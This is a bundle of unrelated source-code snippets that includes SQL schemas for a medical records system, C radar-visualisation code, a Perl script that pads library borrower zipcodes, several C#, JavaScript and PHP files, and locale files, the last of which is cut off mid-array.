"KindOfProperty" VARCHAR(100),
"TimeAspect" VARCHAR(100),
"System" VARCHAR(100),
"ScaleType" VARCHAR(100),
"MethodType" VARCHAR(100)
)
CREATE TABLE "LabProcedure" (
"<API key>" INT PRIMARY KEY,
"PatientMID" INT,
"<API key>" VARCHAR(7),
"Rights" VARCHAR(10),
"Status" VARCHAR(20),
"Commentary" VARCHAR(50),
"Results" VARCHAR(50),
"NumericalResults" VARCHAR(20),
"<API key>" VARCHAR(20),
"UpperBound" VARCHAR(20),
"LowerBound" VARCHAR(20),
"OfficeVisitID" INT,
"LabTechID" INT,
"PriorityCode" INT,
"ViewedByPatient" BOOLEAN NOT NULL,
"UpdatedDate" TIMESTAMP NOT NULL
)
CREATE TABLE "message" (
"message_id" INT,
"parent_msg_id" INT,
"from_id" INT NOT NULL,
"to_id" INT NOT NULL,
"sent_date" TIMESTAMP NOT NULL,
"message" VARCHAR(50),
"subject" VARCHAR(50),
"been_read" INT
)
CREATE TABLE "Appointment" (
"appt_id" INT PRIMARY KEY,
"doctor_id" INT NOT NULL,
"patient_id" INT NOT NULL,
"sched_date" TIMESTAMP NOT NULL,
"appt_type" VARCHAR(30) NOT NULL,
"comment" VARCHAR(50)
)
CREATE TABLE "AppointmentType" (
"apptType_id" INT PRIMARY KEY,
"appt_type" VARCHAR(30) NOT NULL,
"duration" INT NOT NULL
)
CREATE TABLE "referrals" (
"id" INT PRIMARY KEY,
"PatientID" INT NOT NULL,
"SenderID" INT NOT NULL,
"ReceiverID" INT NOT NULL,
"ReferralDetails" VARCHAR(50),
"OVID" INT NOT NULL,
"viewed_by_patient" BOOLEAN NOT NULL,
"viewed_by_HCP" BOOLEAN NOT NULL,
"TimeStamp" TIMESTAMP NOT NULL,
"PriorityCode" INT
)
CREATE TABLE "<API key>" (
"id" INT PRIMARY KEY,
"PatientID" INT NOT NULL,
"<API key>" INT,
"<API key>" INT,
"glucoseLevel" INT,
"height" INT,
"weight" INT,
"pedometerReading" INT,
"timeLogged" TIMESTAMP NOT NULL,
"ReporterRole" VARCHAR(50),
"ReporterID" INT
)
CREATE TABLE "<API key>" (
"PatientMID" INT,
"HCPMID" INT,
"<API key>" BOOLEAN,
"<API key>" BOOLEAN,
"GlucoseLevel" BOOLEAN,
"Height" BOOLEAN,
"Weight" BOOLEAN,
"PedometerReading" BOOLEAN,
PRIMARY KEY ("PatientMID", "HCPMID")
)
CREATE TABLE "AdverseEvents" (
"id" INT PRIMARY KEY,
"Status" VARCHAR(10),
"PatientMID" INT,
"PresImmu" VARCHAR(50),
"Code" VARCHAR(20),
"Comment" VARCHAR(2000),
"Prescriber" INT,
"TimeLogged" TIMESTAMP
)
CREATE TABLE "ProfilePhotos" (
"MID" INT PRIMARY KEY,
"Photo" VARCHAR(50),
"UpdatedDate" TIMESTAMP NOT NULL
)
CREATE TABLE "<API key>" (
"id" INT PRIMARY KEY,
"VisitID" INT,
"Modified" TIMESTAMP NOT NULL,
"Name" VARCHAR(100),
"URL" VARCHAR(250),
"Comment" VARCHAR(500)
)
CREATE TABLE "ReferralMessage" (
"messageID" INT NOT NULL,
"referralID" INT NOT NULL,
PRIMARY KEY ("messageID", "referralID")
)
|
/* Header File for abc controller for use in simulink */
#ifndef _ABC_CONTROLLER_
#define _ABC_CONTROLLER_
#include <stdio.h>
#include <math.h>
#define TRUE 1
#define FALSE 0
#include <limits.h>
#include "abc_controller_type.h"
extern void ABC_Controller(double input[16], double output[4], double bona_in[5], double save_data[12]);
extern float Derivative(float Prev_value, float Current_value, float Delta_t);
extern float lag_filter(float X, float tau, float Y_last);
#endif /* _ABC_CONTROLLER_ */
|
#!/bin/sh
. ./include.sh
${examples_dir}precision > /dev/null
|
#include <math.h>
#include <glib.h>
#include <gdk/gdkgl.h>
#include <gdk/gdkkeysyms.h>
#include <objects/grits-volume.h>
#include <objects/grits-callback.h>
#include <objects/marching.h>
#include <GL/gl.h>
#include <rsl.h>
#include <tester.h>
static double dist = 0.75;
static gdouble distp(VolPoint *a,
gdouble bx, gdouble by, gdouble bz)
{
return 1/((a->c.x-bx)*(a->c.x-bx) +
(a->c.y-by)*(a->c.y-by) +
(a->c.z-bz)*(a->c.z-bz)) * 0.10;
//return 1-MIN(1,sqrt((a->c.x-bx)*(a->c.x-bx) +
// (a->c.y-by)*(a->c.y-by) +
// (a->c.z-bz)*(a->c.z-bz)));
}
static VolGrid *load_balls(float dist, int xs, int ys, int zs)
{
VolGrid *grid = vol_grid_new(xs, ys, zs);
for (int x = 0; x < xs; x++)
for (int y = 0; y < ys; y++)
for (int z = 0; z < zs; z++) {
VolPoint *point = vol_grid_get(grid, x, y, z);
point->c.x = ((double)x/(xs-1)*2-1);
point->c.y = ((double)y/(ys-1)*2-1);
point->c.z = ((double)z/(zs-1)*2-1);
point->value =
distp(point, -dist, 0, 0) +
distp(point, dist, 0, 0);
point->value *= 100;
}
return grid;
}
/* Load the radar into a Grits Volume */
static void _cart_to_sphere(VolCoord *out, VolCoord *in)
{
gdouble angle = in->x;
gdouble dist = in->y;
gdouble tilt = in->z;
gdouble lx = sin(angle);
gdouble ly = cos(angle);
gdouble lz = sin(tilt);
out->x = (ly*dist)/20000;
out->y = (lz*dist)/10000-0.5;
out->z = (lx*dist)/20000-1.5;
}
static VolGrid *load_radar(gchar *file, gchar *site)
{
/* Load radar file */
<API key>("all", NULL);
Radar *rad = RSL_wsr88d_to_radar(file, site);
Volume *vol = RSL_get_volume(rad, DZ_INDEX);
<API key>(vol);
/* Count dimensions */
Sweep *sweep = vol->sweep[0];
Ray *ray = sweep->ray[0];
gint nsweeps = vol->h.nsweeps;
gint nrays = sweep->h.nrays/(1/sweep->h.beam_width)+1;
gint nbins = ray->h.nbins /(1000/ray->h.gate_size);
nbins = MIN(nbins, 100);
/* Convert to VolGrid */
VolGrid *grid = vol_grid_new(nrays, nbins, nsweeps);
gint rs, bs, val;
gint si=0, ri=0, bi=0;
for (si = 0; si < nsweeps; si++) {
sweep = vol->sweep[si];
rs = 1.0/sweep->h.beam_width;
for (ri = 0; ri < nrays; ri++) {
/* TODO: missing rays, pick ri based on azimuth */
ray = sweep->ray[(ri*rs) % sweep->h.nrays];
bs = 1000/ray->h.gate_size;
for (bi = 0; bi < nbins; bi++) {
if (bi*bs >= ray->h.nbins)
break;
val = ray->h.f(ray->range[bi*bs]);
if (val == BADVAL || val == RFVAL ||
val == APFLAG || val == NOECHO ||
val == NOTFOUND_H || val == NOTFOUND_V ||
val > 80)
val = 0;
VolPoint *point = vol_grid_get(grid, ri, bi, si);
point->value = val;
point->c.x = deg2rad(ray->h.azimuth);
point->c.y = bi*bs*ray->h.gate_size + ray->h.range_bin1;
point->c.z = deg2rad(ray->h.elev);
} } }
/* Convert to spherical coords */
for (si = 0; si < nsweeps; si++)
for (ri = 0; ri < nrays; ri++)
for (bi = 0; bi < nbins; bi++) {
VolPoint *point = vol_grid_get(grid, ri, bi, si);
if (point->c.y == 0)
point->value = nan("");
else
_cart_to_sphere(&point->c, &point->c);
}
return grid;
}
static gboolean key_press(GritsTester *tester, GdkEventKey *event, GritsVolume *volume)
{
if (event->keyval == GDK_KEY_v) <API key>(volume, volume->level-0.5);
else if (event->keyval == GDK_KEY_V) <API key>(volume, volume->level+0.5);
else if (event->keyval == GDK_KEY_d) dist += 0.5;
else if (event->keyval == GDK_KEY_D) dist -= 0.5;
return FALSE;
}
int main(int argc, char **argv)
{
gtk_init(&argc, &argv);
GtkWidget *window = gtk_window_new(GTK_WINDOW_TOPLEVEL);
GritsTester *tester = grits_tester_new();
gtk_container_add(GTK_CONTAINER(window), GTK_WIDGET(tester));
gtk_widget_show_all(window);
/* Grits Volume */
VolGrid *balls_grid = load_balls(dist, 50, 50, 50);
GritsVolume *balls = grits_volume_new(balls_grid);
balls->proj = <API key>;
balls->disp = <API key>;
balls->color[0] = (0.8)*0xff;
balls->color[1] = (0.6)*0xff;
balls->color[2] = (0.2)*0xff;
balls->color[3] = (1.0)*0xff;
<API key>(balls, 50);
grits_tester_add(tester, GRITS_OBJECT(balls));
g_signal_connect(tester, "key-press-event", G_CALLBACK(key_press), balls);
/* Grits Volume */
//char *file = "/home/andy/.cache/grits/nexrad/level2/KGWX/KGWX_20101130_0459.raw";
//char *file = "/home/andy/.cache/grits/nexrad/level2/KTLX/KTLX_19990503_2351.raw";
//VolGrid *radar_grid = load_radar(file, "KTLX");
//GritsVolume *radar = grits_volume_new(radar_grid);
//radar->proj = <API key>;
//radar->disp = <API key>;
//radar->color[0] = (0.8)*0xff;
//radar->color[1] = (0.6)*0xff;
//radar->color[2] = (0.2)*0xff;
//radar->color[3] = (1.0)*0xff;
//<API key>(radar, 50);
//grits_tester_add(tester, GRITS_OBJECT(radar));
//g_signal_connect(tester, "key-press-event", G_CALLBACK(key_press), radar);
gtk_main();
return 0;
}
|
#!/usr/bin/perl
# -D Ruth Bavousett
# EXPECTS:
# -nothing
# DOES:
# -corrects borrower zipcodes that start with zero, if --update is given
# CREATES:
# -nothing
# REPORTS:
# -what would be changed, if --debug is given
# -count of records examined
# -count of record modified
use autodie;
use strict;
use warnings;
use Carp;
use Data::Dumper;
use English qw( -no_match_vars );
use Getopt::Long;
use Readonly;
use Text::CSV_XS;
local $OUTPUT_AUTOFLUSH = 1;
Readonly my $NULL_STRING => q{};
my $debug = 0;
my $doo_eet = 0;
my $i = 0;
my $written = 0;
my $modified = 0;
my $problem = 0;
my $input_filename = "";
GetOptions(
'debug' => \$debug,
'update' => \$doo_eet,
);
#for my $var ($input_filename) {
# croak ("You're missing something") if $var eq $NULL_STRING;
use C4::Context;
use C4::Members;
my $dbh = C4::Context->dbh();
my $query = "SELECT borrowernumber,zipcode FROM borrowers where zipcode is not null and zipcode != ''";
my $find = $dbh->prepare($query);
$find->execute();
LINE:
while (my $line=$find->fetchrow_hashref()) {
last LINE if ($debug && $doo_eet && $modified >0);
$i++;
print '.' unless ($i % 10);
print "\r$i" unless ($i % 100);
next LINE if ($line->{zipcode} !~ m/^\d+$/);
next LINE if (length($line->{zipcode}) >= 5);
my $newzip = sprintf "%05d",$line->{zipcode};
$debug and print "Borrower: $line->{borrowernumber} Changing $line->{zipcode} to $newzip.\n";
if ($doo_eet){
C4::Members::ModMember(borrowernumber => $line->{'borrowernumber'},
zipcode => $newzip,
);
}
$modified++;
}
print << "END_REPORT";
$i records found.
$modified records updated.
END_REPORT
exit;
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace FEFTwiddler.GUI.UnitViewer
{
[Designer("System.Windows.Forms.Design.<API key>, System.Design", typeof(IDesigner))]
public partial class DragonVein : UserControl
{
private Model.Unit _unit;
public DragonVein()
{
InitializeComponent();
InitializeControls();
}
public void LoadUnit(Model.Unit unit)
{
_unit = unit;
PopulateControls();
}
private void InitializeControls()
{
}
private void PopulateControls()
{
var characterData = Data.Database.Characters.GetByID(_unit.CharacterID);
if (characterData != null)
{
var isDefault = characterData.CanUseDragonVein;
chkDragonVein.Checked = _unit.<API key> || isDefault;
chkDragonVein.Enabled = !isDefault;
}
else
{
chkDragonVein.Checked = _unit.<API key>;
}
}
private void <API key>(object sender, EventArgs e)
{
var characterData = Data.Database.Characters.GetByID(_unit.CharacterID);
// If a character can't use Dragon Vein by default
if (chkDragonVein.Checked && characterData != null && !characterData.CanUseDragonVein)
_unit.<API key> = true;
else
_unit.<API key> = false;
}
}
}
|
using UnityEngine;
using System.Collections;
using System;
namespace Frontiers.World.WIScripts
{
public class Key : WIScript
{
public override void OnInitialized ()
{
if (!worlditem.Is <QuestItem> ()) {
worlditem.Props.Name.DisplayName = State.KeyName;
}
}
public KeyState State = new KeyState ();
}
[Serializable]
public class KeyState
{
public bool <API key> = true;
public string KeyType = "SimpleKey";
public string KeyTag = "Master";
public string KeyName = "Key";
}
}
|
define(
"dojo/cldr/nls/nb/gregorian", //begin v1.x content
{
"dateFormatItem-Ehm": "E h.mm a",
"<API key>": [
"sø.",
"ma.",
"ti.",
"on.",
"to.",
"fr.",
"lø."
],
"<API key>": [
"J",
"F",
"M",
"A",
"M",
"J",
"J",
"A",
"S",
"O",
"N",
"D"
],
"<API key>+0": "nå",
"<API key>": [
"1",
"2",
"3",
"4"
],
"field-weekday": "Ukedag",
"dateFormatItem-yQQQ": "QQQ y",
"dateFormatItem-yMEd": "E d.MM.y",
"field-wed-relative+0": "onsdag denne uken",
"<API key>": "E d. MMM y G",
"<API key>": "E d. MMM",
"field-wed-relative+1": "onsdag neste uke",
"eraNarrow": [
"f.Kr.",
"fvt.",
"e.Kr.",
"vt"
],
"dateFormatItem-yMM": "MM.y",
"field-tue-relative+-1": "tirsdag sist uke",
"days-format-short": [
"sø.",
"ma.",
"ti.",
"on.",
"to.",
"fr.",
"lø."
],
"dateFormat-long": "d. MMMM y",
"field-fri-relative+-1": "fredag sist uke",
"field-wed-relative+-1": "onsdag sist uke",
"months-format-wide": [
"januar",
"februar",
"mars",
"april",
"mai",
"juni",
"juli",
"august",
"september",
"oktober",
"november",
"desember"
],
"<API key>": "{1}, {0}",
"<API key>": "p.m.",
"dateFormat-full": "EEEE d. MMMM y",
"field-thu-relative+-1": "torsdag sist uke",
"dateFormatItem-Md": "d.M.",
"<API key>": "a.m.",
"dateFormatItem-yMd": "d.M.y",
"dateFormatItem-yM": "M.y",
"field-era": "Tidsalder",
"<API key>": [
"januar",
"februar",
"mars",
"april",
"mai",
"juni",
"juli",
"august",
"september",
"oktober",
"november",
"desember"
],
"timeFormat-short": "HH.mm",
"<API key>": [
"1. kvartal",
"2. kvartal",
"3. kvartal",
"4. kvartal"
],
"timeFormat-long": "HH.mm.ss z",
"dateFormatItem-yMMM": "MMM y",
"<API key>": "QQQQ y",
"field-year": "År",
"dateFormatItem-MMdd": "d.M.",
"field-hour": "Time",
"months-format-abbr": [
"jan.",
"feb.",
"mar.",
"apr.",
"mai",
"jun.",
"jul.",
"aug.",
"sep.",
"okt.",
"nov.",
"des."
],
"field-sat-relative+0": "lørdag denne uken",
"field-sat-relative+1": "lørdag neste uke",
"timeFormat-full": "HH.mm.ss zzzz",
"field-day-relative+0": "i dag",
"field-day-relative+1": "i morgen",
"field-thu-relative+0": "torsdag denne uken",
"<API key>": "d. MMM y G",
"field-day-relative+2": "i overmorgen",
"field-thu-relative+1": "torsdag neste uke",
"dateFormatItem-H": "HH",
"<API key>": [
"jan",
"feb",
"mar",
"apr",
"mai",
"jun",
"jul",
"aug",
"sep",
"okt",
"nov",
"des"
],
"<API key>": [
"K1",
"K2",
"K3",
"K4"
],
"<API key>": [
"1. kvartal",
"2. kvartal",
"3. kvartal",
"4. kvartal"
],
"dateFormatItem-Gy": "y G",
"dateFormatItem-M": "L.",
"<API key>": [
"søndag",
"mandag",
"tirsdag",
"onsdag",
"torsdag",
"fredag",
"lørdag"
],
"timeFormat-medium": "HH.mm.ss",
"field-sun-relative+0": "søndag denne uken",
"dateFormatItem-Hm": "HH.mm",
"<API key>": [
"K1",
"K2",
"K3",
"K4"
],
"field-sun-relative+1": "søndag neste uke",
"eraAbbr": [
"f.Kr.",
"e.Kr."
],
"field-minute": "Minutt",
"field-dayperiod": "AM/PM",
"<API key>": [
"sø.",
"ma.",
"ti.",
"on.",
"to.",
"fr.",
"lø."
],
"dateFormatItem-d": "d.",
"dateFormatItem-ms": "mm.ss",
"<API key>": [
"1",
"2",
"3",
"4"
],
"field-day-relative+-1": "i går",
"dateFormatItem-h": "h a",
"dateTimeFormat-long": "{1} 'kl.' {0}",
"<API key>": "a",
"field-day-relative+-2": "i forgårs",
"dateFormatItem-MMMd": "d. MMM",
"dateFormatItem-MEd": "E d.M",
"dateTimeFormat-full": "{1} {0}",
"field-fri-relative+0": "fredag denne uken",
"<API key>": "MMMM y",
"field-fri-relative+1": "fredag neste uke",
"field-day": "Dag",
"days-format-wide": [
"søndag",
"mandag",
"tirsdag",
"onsdag",
"torsdag",
"fredag",
"lørdag"
],
"field-zone": "Tidssone",
"dateFormatItem-y": "y",
"<API key>": [
"J",
"F",
"M",
"A",
"M",
"J",
"J",
"A",
"S",
"O",
"N",
"D"
],
"field-year-relative+-1": "i fjor",
"<API key>+-1": "forrige måned",
"dateFormatItem-hm": "h.mm a",
"<API key>": "p.m.",
"days-format-abbr": [
"søn.",
"man.",
"tir.",
"ons.",
"tor.",
"fre.",
"lør."
],
"eraNames": [
"f.Kr.",
"e.Kr."
],
"<API key>": "d. MMM y",
"days-format-narrow": [
"S",
"M",
"T",
"O",
"T",
"F",
"L"
],
"<API key>": [
"S",
"M",
"T",
"O",
"T",
"F",
"L"
],
"dateFormatItem-MMM": "LLL",
"field-month": "Måned",
"field-tue-relative+0": "tirsdag denne uken",
"field-tue-relative+1": "tirsdag neste uke",
"<API key>": "a.m.",
"dateFormatItem-EHm": "E HH.mm",
"field-mon-relative+0": "mandag denne uken",
"field-mon-relative+1": "mandag neste uke",
"dateFormat-short": "dd.MM.y",
"dateFormatItem-EHms": "E HH.mm.ss",
"dateFormatItem-Ehms": "E h.mm.ss a",
"field-second": "Sekund",
"field-sat-relative+-1": "lørdag sist uke",
"<API key>": "E d. MMM y",
"field-sun-relative+-1": "søndag sist uke",
"<API key>+0": "denne måneden",
"<API key>+1": "neste måned",
"dateFormatItem-Ed": "E d.",
"<API key>": "{0} {1}",
"field-week": "Uke",
"dateFormat-medium": "d. MMM y",
"field-year-relative+0": "i år",
"field-week-relative+-1": "forrige uke",
"field-year-relative+1": "neste år",
"<API key>": "p",
"<API key>": "{1}, {0}",
"dateFormatItem-Hms": "HH.mm.ss",
"dateFormatItem-hms": "h.mm.ss a",
"<API key>": "MMM y G",
"field-mon-relative+-1": "mandag sist uke",
"field-week-relative+0": "denne uken",
"field-week-relative+1": "neste uke"
}
//end v1.x content
);
|
import Ember from 'ember';
export default Ember.Component.extend({
classNames: ['button-content'],
audio: Ember.inject.service(),
soundName: null,
rate: 1,
preloadSounds: function() {
this.get('audio');
}.on('init'),
actions: {
play() {
this.get('audio').play(this.get('soundName'), this.get('rate'));
}
}
});
|
<?php
// This program is free software: you can redistribute it and/or modify
// This program is distributed in the hope that it will be useful,
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// If you purchased an openITCOCKPIT Enterprise Edition you can use this file
// confirmation.
?>
<div class="row">
<div class="col-xs-12 col-md-2 text-muted">
<center><span id="selectionCount"></span></center>
</div>
<div class="col-xs-12 col-md-2 "><span id="selectAllDowntimes" class="pointer"><i
class="fa fa-lg fa-check-square-o"></i> <?php echo __('Select all'); ?></span></div>
<div class="col-xs-12 col-md-2"><span id="untickAllDowntimes" class="pointer"><i
class="fa fa-lg fa-square-o"></i> <?php echo __('Undo selection'); ?></span></div>
<div class="col-xs-12 col-md-2">
<?php if ($this->Acl->hasPermission('delete', 'Services', '')): ?>
<a href="javascript:void(0);" id="<API key>" class="txt-color-red"
style="text-decoration: none;"> <i
class="fa fa-lg fa-trash-o"></i> <?php echo __('Delete'); ?></a>
<?php endif; ?>
</div>
</div>
|
<?php
$languages = array(
'CHARSET' => 'UTF-8',
'Language_ar_AR' => 'Arabia',
'Language_ar_SA' => 'Arabic',
'Language_bg_BG' => 'Bulgarian',
'Language_ca_ES' => 'Katalaani',
'Language_da_DA' => 'Tanska',
'Language_da_DK' => 'Tanska',
'Language_de_DE' => 'Saksa',
'Language_de_AT' => 'Saksa (Itävalta)',
'Language_el_GR' => 'Kreikkalainen',
'Language_en_AU' => 'Englanti (Australia)',
'Language_en_GB' => 'Englanti (Yhdistynyt kuningaskunta)',
'Language_en_IN' => 'Englanti (Intia)',
'Language_en_NZ' => 'Englanti (Uusi-Seelanti)',
'Language_en_US' => 'Englanti (Yhdysvallat)',
'Language_es_ES' => 'Espanjalainen',
'Language_es_AR' => 'Espanja (Argentiina)',
'Language_es_HN' => 'Espanja (Honduras)',
'Language_es_MX' => 'Espanja (Meksiko)',
'Language_es_PR' => 'Espanja (Puerto Rico)',
'Language_et_EE' => 'Estonian',
'Language_fa_IR' => 'Persialainen',
'Language_fi_FI' => 'Fins',
'Language_fr_BE' => 'Ranska (Belgia)',
'Language_fr_CA' => 'Ranska (Kanada)',
'Language_fr_CH' => 'Ranska (Sveitsi)',
'Language_fr_FR' => 'Ranskalainen',
'Language_he_IL' => 'Hebrew',
'Language_hu_HU' => 'Unkari',
'Language_is_IS' => 'Islannin',
'Language_it_IT' => 'Italialainen',
'Language_ja_JP' => 'Japanin kieli',
'Language_nb_NO' => 'Norja (bokmål)',
'Language_nl_BE' => 'Hollanti (Belgia)',
'Language_nl_NL' => 'Hollanti (Alankomaat)',
'Language_pl_PL' => 'Puola',
'Language_pt_BR' => 'Portugali (Brasilia)',
'Language_pt_PT' => 'Portugali',
'Language_ro_RO' => 'Romanialainen',
'Language_ru_RU' => 'Venäläinen',
'Language_ru_UA' => 'Venäjä (Ukraina)',
'Language_tr_TR' => 'Turkki',
'Language_sl_SI' => 'Slovenian',
'Language_sv_SV' => 'Ruotsi',
'Language_sv_SE' => 'Ruotsi',
'Language_zh_CN' => 'Kiinalainen',
'Language_is_IS' => 'Islannin'
);
?>
|
// a) the Lesser General Public Licence v3 (LGPL)
// Allors Platform is distributed in the hope that it will be useful,
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
namespace Allors.Adapters.Object.SqlClient
{
using System.Linq;
using Allors;
using Allors.Domain;
using Allors.Meta;
using Xunit;
public abstract class ExtentTest : Adapters.ExtentTest
{
[Fact]
public override void SortOne()
{
foreach (var init in this.Inits)
{
foreach (var marker in this.Markers)
{
init();
this.Populate();
this.Session.Commit();
this.c1B.C1AllorsString = "3";
this.c1C.C1AllorsString = "1";
this.c1D.C1AllorsString = "2";
this.Session.Commit();
marker();
var extent = this.Session.Extent(MetaC1.Instance.ObjectType);
extent.AddSort(MetaC1.Instance.C1AllorsString);
var sortedObjects = (C1[])extent.ToArray(typeof(C1));
Assert.Equal(4, sortedObjects.Length);
Assert.Equal(this.c1A, sortedObjects[0]);
Assert.Equal(this.c1C, sortedObjects[1]);
Assert.Equal(this.c1D, sortedObjects[2]);
Assert.Equal(this.c1B, sortedObjects[3]);
marker();
extent = this.Session.Extent(MetaC1.Instance.ObjectType);
extent.AddSort(MetaC1.Instance.C1AllorsString, SortDirection.Ascending);
sortedObjects = (C1[])extent.ToArray(typeof(C1));
Assert.Equal(4, sortedObjects.Length);
Assert.Equal(this.c1A, sortedObjects[0]);
Assert.Equal(this.c1C, sortedObjects[1]);
Assert.Equal(this.c1D, sortedObjects[2]);
Assert.Equal(this.c1B, sortedObjects[3]);
marker();
extent = this.Session.Extent(MetaC1.Instance.ObjectType);
extent.AddSort(MetaC1.Instance.C1AllorsString, SortDirection.Ascending);
sortedObjects = (C1[])extent.ToArray(typeof(C1));
Assert.Equal(4, sortedObjects.Length);
Assert.Equal(this.c1A, sortedObjects[0]);
Assert.Equal(this.c1C, sortedObjects[1]);
Assert.Equal(this.c1D, sortedObjects[2]);
Assert.Equal(this.c1B, sortedObjects[3]);
marker();
extent = this.Session.Extent(MetaC1.Instance.ObjectType);
extent.AddSort(MetaC1.Instance.C1AllorsString, SortDirection.Descending);
sortedObjects = (C1[])extent.ToArray(typeof(C1));
Assert.Equal(4, sortedObjects.Length);
Assert.Equal(this.c1B, sortedObjects[0]);
Assert.Equal(this.c1D, sortedObjects[1]);
Assert.Equal(this.c1C, sortedObjects[2]);
Assert.Equal(this.c1A, sortedObjects[3]);
marker();
extent = this.Session.Extent(MetaC1.Instance.ObjectType);
extent.AddSort(MetaC1.Instance.C1AllorsString, SortDirection.Descending);
sortedObjects = (C1[])extent.ToArray(typeof(C1));
Assert.Equal(4, sortedObjects.Length);
Assert.Equal(this.c1B, sortedObjects[0]);
Assert.Equal(this.c1D, sortedObjects[1]);
Assert.Equal(this.c1C, sortedObjects[2]);
Assert.Equal(this.c1A, sortedObjects[3]);
foreach (var useOperator in this.UseOperator)
{
if (useOperator)
{
marker();
var firstExtent = this.Session.Extent(MetaC1.Instance.ObjectType);
firstExtent.Filter.AddLike(MetaC1.Instance.C1AllorsString, "1");
var secondExtent = this.Session.Extent(MetaC1.Instance.ObjectType);
extent = this.Session.Union(firstExtent, secondExtent);
secondExtent.Filter.AddLike(MetaC1.Instance.C1AllorsString, "3");
extent.AddSort(MetaC1.Instance.C1AllorsString);
sortedObjects = (C1[])extent.ToArray(typeof(C1));
Assert.Equal(2, sortedObjects.Length);
Assert.Equal(this.c1C, sortedObjects[0]);
Assert.Equal(this.c1B, sortedObjects[1]);
}
}
}
}
}
[Fact]
public override void SortTwo()
{
foreach (var init in this.Inits)
{
init();
this.Populate();
this.c1B.C1AllorsString = "a";
this.c1C.C1AllorsString = "b";
this.c1D.C1AllorsString = "a";
this.c1B.C1AllorsInteger = 2;
this.c1C.C1AllorsInteger = 1;
this.c1D.C1AllorsInteger = 0;
this.Session.Commit();
var extent = this.Session.Extent(MetaC1.Instance.ObjectType);
extent.AddSort(MetaC1.Instance.C1AllorsString);
extent.AddSort(MetaC1.Instance.C1AllorsInteger);
var sortedObjects = (C1[])extent.ToArray(typeof(C1));
Assert.Equal(4, sortedObjects.Length);
Assert.Equal(this.c1A, sortedObjects[0]);
Assert.Equal(this.c1D, sortedObjects[1]);
Assert.Equal(this.c1B, sortedObjects[2]);
Assert.Equal(this.c1C, sortedObjects[3]);
extent = this.Session.Extent(MetaC1.Instance.ObjectType);
extent.AddSort(MetaC1.Instance.C1AllorsString);
extent.AddSort(MetaC1.Instance.C1AllorsInteger, SortDirection.Ascending);
sortedObjects = (C1[])extent.ToArray(typeof(C1));
Assert.Equal(4, sortedObjects.Length);
Assert.Equal(this.c1A, sortedObjects[0]);
Assert.Equal(this.c1D, sortedObjects[1]);
Assert.Equal(this.c1B, sortedObjects[2]);
Assert.Equal(this.c1C, sortedObjects[3]);
extent = this.Session.Extent(MetaC1.Instance.ObjectType);
extent.AddSort(MetaC1.Instance.C1AllorsString);
extent.AddSort(MetaC1.Instance.C1AllorsInteger, SortDirection.Descending);
sortedObjects = (C1[])extent.ToArray(typeof(C1));
Assert.Equal(4, sortedObjects.Length);
Assert.Equal(this.c1A, sortedObjects[0]);
Assert.Equal(this.c1B, sortedObjects[1]);
Assert.Equal(this.c1D, sortedObjects[2]);
Assert.Equal(this.c1C, sortedObjects[3]);
extent = this.Session.Extent(MetaC1.Instance.ObjectType);
extent.AddSort(MetaC1.Instance.C1AllorsString, SortDirection.Descending);
extent.AddSort(MetaC1.Instance.C1AllorsInteger, SortDirection.Descending);
sortedObjects = (C1[])extent.ToArray(typeof(C1));
Assert.Equal(4, sortedObjects.Length);
Assert.Equal(this.c1C, sortedObjects[0]);
Assert.Equal(this.c1B, sortedObjects[1]);
Assert.Equal(this.c1D, sortedObjects[2]);
Assert.Equal(this.c1A, sortedObjects[3]);
}
}
[Fact]
public override void <API key>()
{
foreach (var init in this.Inits)
{
init();
var c1A = C1.Create(this.Session);
var c1B = C1.Create(this.Session);
var c1C = C1.Create(this.Session);
var c1D = C1.Create(this.Session);
c1A.C1AllorsString = "2";
c1B.C1AllorsString = "1";
c1C.C1AllorsString = "3";
var extent = this.Session.Extent(M.C1.Class);
extent.AddSort(M.C1.C1AllorsString, SortDirection.Ascending);
var sortedObjects = (C1[])extent.ToArray(typeof(C1));
var names = sortedObjects.Select(v => v.C1AllorsString).ToArray();
Assert.Equal(4, sortedObjects.Length);
Assert.Equal(c1D, sortedObjects[0]);
Assert.Equal(c1B, sortedObjects[1]);
Assert.Equal(c1A, sortedObjects[2]);
Assert.Equal(c1C, sortedObjects[3]);
var c1AId = c1A.Id;
this.Session.Commit();
using (var session2 = this.CreateSession())
{
c1A = (C1)session2.Instantiate(c1AId);
extent = session2.Extent(M.C1.Class);
extent.AddSort(M.C1.C1AllorsString, SortDirection.Ascending);
sortedObjects = (C1[])extent.ToArray(typeof(C1));
names = sortedObjects.Select(v => v.C1AllorsString).ToArray();
Assert.Equal(4, sortedObjects.Length);
Assert.Equal(c1D, sortedObjects[0]);
Assert.Equal(c1B, sortedObjects[1]);
Assert.Equal(c1A, sortedObjects[2]);
Assert.Equal(c1C, sortedObjects[3]);
}
}
}
}
}
|
<?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) {
return;
}
$GLOBALS[$GLOBALS['idx_lang']] = array(
'<API key>' => 'nur al estontaj artikoloj (neniu ago ĉe la datenbazo).',
'<API key>' => 'al ĉiuj artikoloj senescepte.',
'<API key>' => 'al ĉiuj artikoloj, escepte tiuj, kies forumo estas fermita.',
'<API key>' => 'Deviga memregistriĝo (la uzantoj devas aboniĝi, entajpante sian retpoŝtadreson antaŭ ol sendi kontribuaĵojn).',
'<API key>' => 'Apriora moderigado (kontribuaĵoj estas publikigataj nur post validigo far de mastrumantoj).', # MODIF
'<API key>' => 'per abono',
'<API key>' => 'aposteriore moderigata', # MODIF
'<API key>' => 'apriore moderigata', # MODIF
'<API key>' => 'Tujpublikigo de mesaĝoj
(la kontribuaĵoj afiŝiĝas tuj post ties sendo, la mastrumantoj povas
forviŝi ilin poste).',
'<API key>' => 'Dokumentoj malpermesitaj en la forumo',
'<API key>' => 'Ĉu mesaĝon, ĉu komenton ?',
'forum' => 'Forumo',
'forum_acces_refuse' => 'Vi ne plu havas alir-rajton al tiuj ĉi forumoj.',
'<API key>' => '<b>Atentu !</b> via mesaĝo devas enhavi almenaŭ dek signojn.',
'<API key>' => '<b>Atentu !</b> via titolo devas enhavi almenaŭ tri signojn.',
